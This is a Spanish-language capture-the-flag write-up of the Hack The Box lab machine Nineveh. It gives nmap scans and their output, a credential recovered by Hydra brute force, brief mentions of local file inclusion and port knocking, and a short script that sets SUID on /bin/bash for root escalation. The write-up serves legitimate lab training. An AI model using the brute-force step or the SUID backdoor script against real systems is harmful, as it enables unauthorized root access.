Nineveh

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Medium | 04 Aug 2017 | Yas3r |
Escaneo de puertos
nmap_ports 10.10.10.43
[+] Running: nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-27 21:14 -03
Initiating SYN Stealth Scan at 21:14
Scanning 10.10.10.43 [65535 ports]
Discovered open port 80/tcp on 10.10.10.43
Discovered open port 443/tcp on 10.10.10.43
Completed SYN Stealth Scan at 21:15, 27.01s elapsed (65535 total ports)
Nmap scan report for 10.10.10.43
Host is up, received user-set (0.29s latency).
Scanned at 2025-04-27 21:14:42 -03 for 27s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.09 seconds
Raw packets sent: 131085 (5.768MB) | Rcvd: 23 (1.012KB)
Enumeración de versión y servicio
nmap -sCV -p80,443 -oN servicesScan 10.10.10.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-27 21:15 -03
Nmap scan report for 10.10.10.43 (10.10.10.43)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after: 2018-07-01T15:03:30
|_http-title: Site doesn't have a title (text/html).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.76 seconds
Explotación inicial
HTTP (80)
Sabemos que el usuario admin
existe por el mensaje de error que presenta la web.
Realizamos fuerza bruta con Hydra
admin:1q2w3e4r5t
HTTPS (443)
Si realizamos web fuzzing, encontramos el directorio db
.
Local File Inclusion
Port Knocking
strings nineveh.png
Escalación de privilegios (root)
- https://www.exploit-db.com/exploits/33899
Creamos un binario /tmp/update
el cual le asigne permisos SUID a la bash.
#!/bin/bash
chmod u+s /bin/bash